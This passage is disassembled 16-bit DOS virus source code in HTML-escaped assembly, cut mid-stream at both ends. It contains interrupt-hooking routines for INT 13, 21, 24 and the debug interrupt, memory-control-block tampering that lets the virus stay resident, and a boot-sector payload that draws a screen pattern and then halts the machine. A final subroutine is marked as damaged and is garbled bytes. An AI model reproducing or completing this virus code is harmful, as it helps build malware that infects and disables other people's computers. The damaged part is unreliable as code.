&lt;br /&gt;		out	21h,al			; port 21h, 8259-1 int comands&lt;br /&gt;		popf				; Pop flags&lt;br /&gt;		xor	ax,ax			; Zero register&lt;br /&gt;		jmp	dword ptr old_INT	; (CS:122D=0)&lt;br /&gt;loc_79:&lt;br /&gt;		lds	dx,old_INT_1		; (CS:1231=0) Load 32 bit ptr&lt;br /&gt;		mov	al,1&lt;br /&gt;		call	sub_27			; Set INT 01 vector&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	dx,offset int_13&lt;br /&gt;		mov	al,13h&lt;br /&gt;		call	sub_27			; Set INT 13 vector&lt;br /&gt;		mov	al,24h&lt;br /&gt;		call	sub_1			; Get INT 24 vector&lt;br /&gt;		mov	word ptr old_INT_24,bx	; (CS:123D=0)&lt;br /&gt;		mov	word ptr old_INT_24+2,es ; (CS:123F=70h)&lt;br /&gt;		mov	dx,offset int_24&lt;br /&gt;		mov	al,24h&lt;br /&gt;		call	sub_27			; Set INT 24 vector&lt;br /&gt;		call	sub_20			; Restore regs from vir's stack&lt;br /&gt;		retn&lt;br /&gt;sub_13		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_14		proc	near&lt;br /&gt;		call	sub_21			; Save REGS in vir's stack&lt;br /&gt;		lds	dx,dword ptr cs:old_INT_13 ; (CS:1239=0) Load 32 bit ptr&lt;br /&gt;		mov	al,13h&lt;br /&gt;		call	sub_27			; Set INT 13 vector&lt;br /&gt;		lds	dx,dword ptr cs:old_INT_24 ; (CS:123D=0) Load 32 bit ptr&lt;br /&gt;		mov	al,24h&lt;br /&gt;		call	sub_27			; Set INT 24 vector&lt;br /&gt;		call	sub_20			; Restore regs from vir's stack&lt;br /&gt;		retn&lt;br /&gt;sub_14		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_15		proc	near&lt;br /&gt;		mov	ax,3300h		; Get CTRL-BREAK state&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		mov	cs:data_94,dl		; (CS:12E1) save state&lt;br /&gt;		mov	ax,3301h&lt;br /&gt;		xor	dl,dl			; Set CTRL-BREAK = OFF&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		retn&lt;br /&gt;sub_15		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_16		proc	near&lt;br /&gt;		mov	dl,cs:data_94		; (CS:12E1)&lt;br /&gt;		mov	ax,3301h		; Restore CTRL-BREAK state&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		retn&lt;br /&gt;sub_16		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_17		proc	near&lt;br /&gt;		pop	cs:data_100		; (CS:12EA=0)&lt;br /&gt;		pushf				; Push flags&lt;br /&gt;		push	ax&lt;br /&gt;		push	bx&lt;br /&gt;		push	cx&lt;br /&gt;		push	dx&lt;br /&gt;		push	si&lt;br /&gt;		push	di&lt;br /&gt;		push	ds&lt;br /&gt;		push	es&lt;br /&gt;		jmp	word ptr cs:data_100	; (CS:12EA=0)&lt;br /&gt;sub_17		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_18		proc	near&lt;br /&gt;		les	di,dword ptr cs:ptr_INT_21 ; (CS:1235=0) Load 32 bit ptr&lt;br /&gt;		mov	si,offset data_70	   ; (CS:124B=0)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		cld				   ; Clear direction&lt;br /&gt;		mov	cx,5&lt;br /&gt;&lt;br /&gt;locloop_80:&lt;br /&gt;		lodsb				; String [si] to al&lt;br /&gt;		xchg	al,es:[di]&lt;br /&gt;		mov	[si-1],al&lt;br /&gt;		inc	di&lt;br /&gt;		loop	locloop_80		; Loop if cx &gt; 0&lt;br /&gt;&lt;br /&gt;		retn&lt;br /&gt;sub_18		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_19		proc	near&lt;br /&gt;		pop	cs:data_100		; (CS:12EA=0)&lt;br /&gt;		pop	es&lt;br /&gt;		pop	ds&lt;br /&gt;		pop	di&lt;br /&gt;		pop	si&lt;br /&gt;		pop	dx&lt;br /&gt;		pop	cx&lt;br /&gt;		pop	bx&lt;br /&gt;		pop	ax&lt;br /&gt;		popf				; Pop flags&lt;br /&gt;		jmp	word ptr cs:data_100	; (CS:12EA=0)&lt;br /&gt;&lt;br /&gt;;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;&lt;br /&gt;sub_20:&lt;br /&gt;		mov	cs:data_114,offset sub_19 ; (CS:135D=0) Restore REGS&lt;br /&gt;		jmp	short loc_81		  ; (0DF6)&lt;br /&gt;&lt;br /&gt;;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;&lt;br /&gt;sub_21:&lt;br /&gt;		mov	cs:data_114,offset sub_17 ; (CS:135D=0) Save REGS&lt;br /&gt;loc_81: 	mov	cs:data_112,ss		; (CS:1359=151Ch)&lt;br /&gt;		mov	cs:data_111,sp		; (CS:1357=0)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ss&lt;br /&gt;		mov	sp,cs:data_113		; (CS:135B=0)&lt;br /&gt;		call	word ptr cs:data_114	; (CS:135D=0)&lt;br /&gt;		mov	cs:data_113,sp		; (CS:135B=0)&lt;br /&gt;		mov	ss,cs:data_112		; (CS:1359=151Ch)&lt;br /&gt;		mov	sp,cs:data_111		; (CS:1357=0)&lt;br /&gt;		retn&lt;br /&gt;sub_19		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_22		proc	near&lt;br /&gt;		mov	al,1&lt;br /&gt;		call	sub_1			   ; Get INT 01 vector&lt;br /&gt;		mov	word ptr cs:old_INT_1,bx   ; (CS:1231=0)&lt;br /&gt;		mov	word ptr cs:old_INT_1+2,es ; (CS:1233=70h)&lt;br /&gt;		push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	dx,offset debug&lt;br /&gt;		call	sub_27			   ; Set INT 01 vector&lt;br /&gt;		retn&lt;br /&gt;sub_22		endp&lt;br /&gt;&lt;br /&gt;_21_48: 	call	sub_23		; (0E3A)&lt;br /&gt;		jmp	loc_10		; (030F)&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_23		proc	near&lt;br /&gt;		cmp	byte ptr cs:data_95,0	; (CS:12E2=0)&lt;br /&gt;		je	loc_ret_83		; Jump if equal&lt;br /&gt;		cmp	bx,0FFFFh&lt;br /&gt;		jne	loc_ret_83		; Jump if not equal&lt;br /&gt;		mov	bx,160h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		jc	loc_ret_83		; Jump if carry Set&lt;br /&gt;		mov	dx,cs&lt;br /&gt;		cmp	ax,dx&lt;br /&gt;		jb	loc_82			; Jump if below&lt;br /&gt;		mov	es,ax&lt;br /&gt;		mov	ah,49h&lt;br /&gt;		call	sub_24			; INT 21&lt;br /&gt;		jmp	short loc_ret_83	; (0E8A)&lt;br /&gt;loc_82:&lt;br /&gt;		dec	dx&lt;br /&gt;		mov	ds,dx&lt;br /&gt;		mov	word ptr ds:MCB_0001,0	; (7DBC:0001=275h)&lt;br /&gt;		inc	dx&lt;br /&gt;		mov	ds,dx&lt;br /&gt;		mov	es,ax&lt;br /&gt;		push	ax&lt;br /&gt;		mov	cs:data_72,ax		; (CS:124E=7DBDh)&lt;br /&gt;		xor	si,si			; Zero register&lt;br /&gt;		mov	di,si&lt;br /&gt;		mov	cx,all_len/2&lt;br /&gt;		rep	movsw			; Rep when cx &gt;0 Mov [si] to es:[di]&lt;br /&gt;		dec	ax&lt;br /&gt;		mov	es,ax&lt;br /&gt;		mov	ax,cs:data_69		; (CS:1249=0)&lt;br /&gt;		mov	es:MCB_0001,ax		; (48FF:0001=0FFFFh)&lt;br /&gt;		mov	ax,offset loc_ret_83&lt;br /&gt;		push	ax&lt;br /&gt;		retf&lt;br /&gt;loc_ret_83:	retn&lt;br /&gt;sub_23		endp&lt;br /&gt;&lt;br /&gt;_21_37: 	mov	byte ptr cs:data_104,2	; (CS:12F0=0)&lt;br /&gt;		jmp	loc_10			; (030F)&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_24		proc	near			; calls INT 21&lt;br /&gt;		pushf&lt;br /&gt;		call	dword ptr cs:ptr_INT_21 ; (CS:1235=0)&lt;br /&gt;		retn&lt;br /&gt;sub_24		endp&lt;br /&gt;&lt;br /&gt;boot:		cli				; Disable interrupts&lt;br /&gt;		xor	ax,ax			; Zero register&lt;br /&gt;		mov	ss,ax&lt;br /&gt;		mov	sp,7C00h&lt;br /&gt;		jmp	short loc_85		; (0EF4)&lt;br /&gt;&lt;br /&gt;data1		db	0dbh,0dbh,0dbh, 20h&lt;br /&gt;data2		db	0f9h,0e0h,0e3h,0c3h&lt;br /&gt;		db	 80h, 81h, 11h, 12h, 24h, 40h, 81h, 11h&lt;br /&gt;		db	 12h, 24h, 40h,0F1h,0F1h, 12h, 24h, 40h&lt;br /&gt;		db	 81h, 21h, 12h, 24h, 40h, 81h, 10h,0e3h&lt;br /&gt;		db	0C3h, 80h, 00h, 00h, 00h, 00h, 00h, 00h&lt;br /&gt;		db	 00h, 00h, 00h, 00h, 82h, 44h,0F8h, 70h&lt;br /&gt;		db	0C0h, 82h, 44h, 80h, 88h,0C0h, 82h, 44h&lt;br /&gt;		db	 80h, 80h,0C0h, 82h, 44h,0F0h, 70h,0C0h&lt;br /&gt;		db	 82h, 28h, 80h, 08h,0C0h, 82h, 28h, 80h&lt;br /&gt;		db	 88h, 00h,0F2h, 10h,0F8h, 70h,0C0h&lt;br /&gt;&lt;br /&gt;loc_85: 	push	cs&lt;br /&gt;		pop	ds&lt;br /&gt;		mov	dx,0B000h&lt;br /&gt;		mov	ah,0Fh&lt;br /&gt;		int	10h			; Video display   ah=functn 0Fh&lt;br /&gt;						;  get state, al=mode, bh=page&lt;br /&gt;		cmp	al,7&lt;br /&gt;		je	loc_86			; Jump if equal&lt;br /&gt;		mov	dx,0B800h&lt;br /&gt;loc_86:&lt;br /&gt;		mov	es,dx&lt;br /&gt;		cld				; Clear direction&lt;br /&gt;		xor	di,di			; Zero register&lt;br /&gt;		mov	cx,7D0h&lt;br /&gt;		mov	ax,720h&lt;br /&gt;		rep	stosw			; Rep when cx &gt;0 Store ax to es:[di]&lt;br /&gt;		mov	si,data2-boot+7C00h	; (CS:7C0E=0)&lt;br /&gt;		mov	bx,2AEh&lt;br /&gt;loc_87:&lt;br /&gt;		mov	bp,5&lt;br /&gt;		mov	di,bx&lt;br /&gt;loc_88:&lt;br /&gt;		lodsb				; String [si] to al&lt;br /&gt;		mov	dh,al&lt;br /&gt;		mov	cx,8&lt;br /&gt;&lt;br /&gt;locloop_89:&lt;br /&gt;		mov	ax,720h&lt;br /&gt;		shl	dx,1			; Shift w/zeros fill&lt;br /&gt;		jnc	loc_90			; Jump if carry=0&lt;br /&gt;		mov	al,0DBh&lt;br /&gt;loc_90:&lt;br /&gt;		stosw				; Store ax to es:[di]&lt;br /&gt;		loop	locloop_89		; Loop if cx &gt; 0&lt;br /&gt;&lt;br /&gt;		dec	bp&lt;br /&gt;		jnz	loc_88			; Jump if not zero&lt;br /&gt;		add	bx,0A0h&lt;br /&gt;		cmp	si,loc_85-boot+7C00h&lt;br /&gt;		jb	loc_87			; Jump if below&lt;br /&gt;		mov	ah,1&lt;br /&gt;		int	10h			; Video display   ah=functn 01h&lt;br /&gt;						;  set cursor mode in cx&lt;br /&gt;		mov	al,8&lt;br /&gt;		mov	dx,loc_911-boot+7C00h&lt;br /&gt;		call	sub_27			; Set INT 08 vector&lt;br /&gt;		mov	ax,7FEh&lt;br /&gt;		out	21h,al			; port 21h, 8259-1 int comands&lt;br /&gt;						;  al = 0FEh, IRQ0 (timer) only&lt;br /&gt;		sti				; Enable interrupts&lt;br /&gt;		xor	bx,bx			; Zero register&lt;br /&gt;		mov	cx,1&lt;br /&gt;loc_91: 	jmp	short loc_91		; SLEEP!!!&lt;br /&gt;loc_911:	dec	cx			; INT 08 handler&lt;br /&gt;		jnz	loc_92			; Jump if not zero&lt;br /&gt;		xor	di,di			; Zero register&lt;br /&gt;		inc	bx&lt;br /&gt;		call	sub_25			; (0F67)&lt;br /&gt;		call	sub_25			; (0F67)&lt;br /&gt;		mov	cl,4&lt;br /&gt;loc_92:&lt;br /&gt;		mov	al,20h			; ' '&lt;br /&gt;		out	20h,al			; port 20h, 8259-1 int command&lt;br /&gt;						;  al = 20h, end of interrupt&lt;br /&gt;		iret				; Interrupt return&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_25		proc	near&lt;br /&gt;		mov	cx,28h&lt;br /&gt;&lt;br /&gt;locloop_93:&lt;br /&gt;		call	sub_26			; (0F93)&lt;br /&gt;		stosw				; Store ax to es:[di]&lt;br /&gt;		stosw				; Store ax to es:[di]&lt;br /&gt;		loop	locloop_93		; Loop if cx &gt; 0&lt;br /&gt;&lt;br /&gt;add1:		add	di,9Eh	    ; sub di,9Eh&lt;br /&gt;		mov	cx,17h&lt;br /&gt;&lt;br /&gt;locloop_94:&lt;br /&gt;		call	sub_26			; (0F93)&lt;br /&gt;		stosw				; Store ax to es:[di]&lt;br /&gt;add2:		add	di,9Eh	    ; sub di,9Eh&lt;br /&gt;		loop	locloop_94		; Loop if cx &gt; 0&lt;br /&gt;&lt;br /&gt;setd:		std				; Set direction flag&lt;br /&gt;_setd		equ	setd - boot + 7c00h&lt;br /&gt;		xor	byte ptr ds:[_setd],1	; (CS:7CE7=0)&lt;br /&gt;_add1		equ	add1 - boot + 7c01h&lt;br /&gt;		xor	byte ptr ds:[_add1],28h ; (CS:7CD7=0) '('&lt;br /&gt;_add2		equ	add2 - boot + 7c01h&lt;br /&gt;		xor	byte ptr ds:[_add2],28h ; (CS:7CE2=0) '('&lt;br /&gt;		retn&lt;br /&gt;sub_25		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_26		proc	near&lt;br /&gt;		and	bx,3&lt;br /&gt;_data1		equ	data1 - boot + 7c00h&lt;br /&gt;		mov	al,byte ptr ds:[_data1+bx]	 ; (CS:7C0A=0)&lt;br /&gt;		inc	bx&lt;br /&gt;		retn&lt;br /&gt;sub_26		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;			       SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_27		proc	near&lt;br /&gt;		push	es&lt;br /&gt;		push	bx&lt;br /&gt;		xor	bx,bx			; Zero register&lt;br /&gt;		mov	es,bx&lt;br /&gt;		mov	bl,al&lt;br /&gt;		shl	bx,1			; Shift w/zeros fill&lt;br /&gt;		shl	bx,1			; Shift w/zeros fill&lt;br /&gt;		mov	es:[bx],dx&lt;br /&gt;		mov	es:[bx+2],ds&lt;br /&gt;		pop	bx&lt;br /&gt;		pop	es&lt;br /&gt;		retn&lt;br /&gt;sub_27		endp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;		      SUBROUTINE - *** DAMAGED BY STACK ***&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt;&lt;br /&gt;sub_28		proc	near&lt;br /&gt;		call	sub_13			; (0CC6)&lt;br /&gt;		mov	dl,1&lt;br /&gt;		add	[bp+si-4F2h],bl&lt;br /&gt;		pop	es&lt;br /&gt;		jo	$+2			; Jump if overflow=1&lt;br /&gt;		xor	cx,word ptr ds:[32Eh]	; (0000:032E=0)&lt;br /&gt;		push	di&lt;br /&gt;		sbb	[bp+di],al&lt;br /&gt;		add	byte ptr ds:[0],ah	; (0000:0000=5Bh)&lt;br /&gt;		add	[bx+di],ah&lt;br /&gt;		add	[bx+si+12h],dl&lt;br /&gt;		sbb	dx,[bx]&lt;br /&gt;		loopnz	$+11h			; Loop if zf=0, cx&gt;0&lt;br /&gt;		jnp	$+23h			; Jump if not parity&lt;br /&gt;		db	0C1h, 02h, 31h, 41h, 7Ah, 16h&lt;br /&gt;		db	
